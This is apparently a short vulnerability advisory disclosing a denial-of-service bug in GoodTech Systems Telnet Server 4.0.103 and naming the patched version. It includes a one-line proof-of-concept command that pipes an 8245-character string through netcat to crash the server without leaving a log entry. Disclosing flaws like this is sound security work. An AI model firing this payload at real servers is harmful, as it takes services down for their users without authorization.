Donato Ferrante


Application:  GoodTech Systems Telnet Server for Windows NT/2000/XP 
              http://www.goodtechsys.com/

Version:      4.0.103

Bug:          Denial of Service

Author:       Donato Ferrante
              e-mail: fdonato@autistici.org
              web:    www.autistici.org/fdonato


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1. Description
2. The bug
3. The code
4. The fix


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1. Description:
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Vendor's Description:

"The product turns a Windows NT/2000/XP system into a multi-user 
Telnet server. Gives Telnet users full access to Windows NT command 
line. Telnet users can run a variety of character-based applications. 
Accepts any telnet connection from any client (Unix, NT, 2000, 95, 
98, Me, any wireless handheld, etc.) right out of the box. Features 
include support for both line mode (with scroll buffer) and screen 
mode, local printing on the client side, connection restriction based 
on Host or IP address, connection restriction based on number of 
users, etc."


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2. The bug:
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The program, doesn't make a good check on the strings passed as input, 
so is possible to send a big string in input and the telnet server 
will crash without warnings.


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3. The code:
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To test the vulnerability simply send a big string to the telnet server,

               perl -e 'print "a"x8245' | nc server 23

or generally a string like:

                    aaaa[..a..]aa ( 8245 of a ) 

so the telnet server will go down.
Note: no errors will be reported in the logfile of the server.


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4. The fix:
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To fix the bug simply go on the GoodTech Systems' official website,
http://www.goodtechsys.com/, and download the latest version 4.0.104
of GoodTech Systems Telnet Server for Windows NT/2000/XP.


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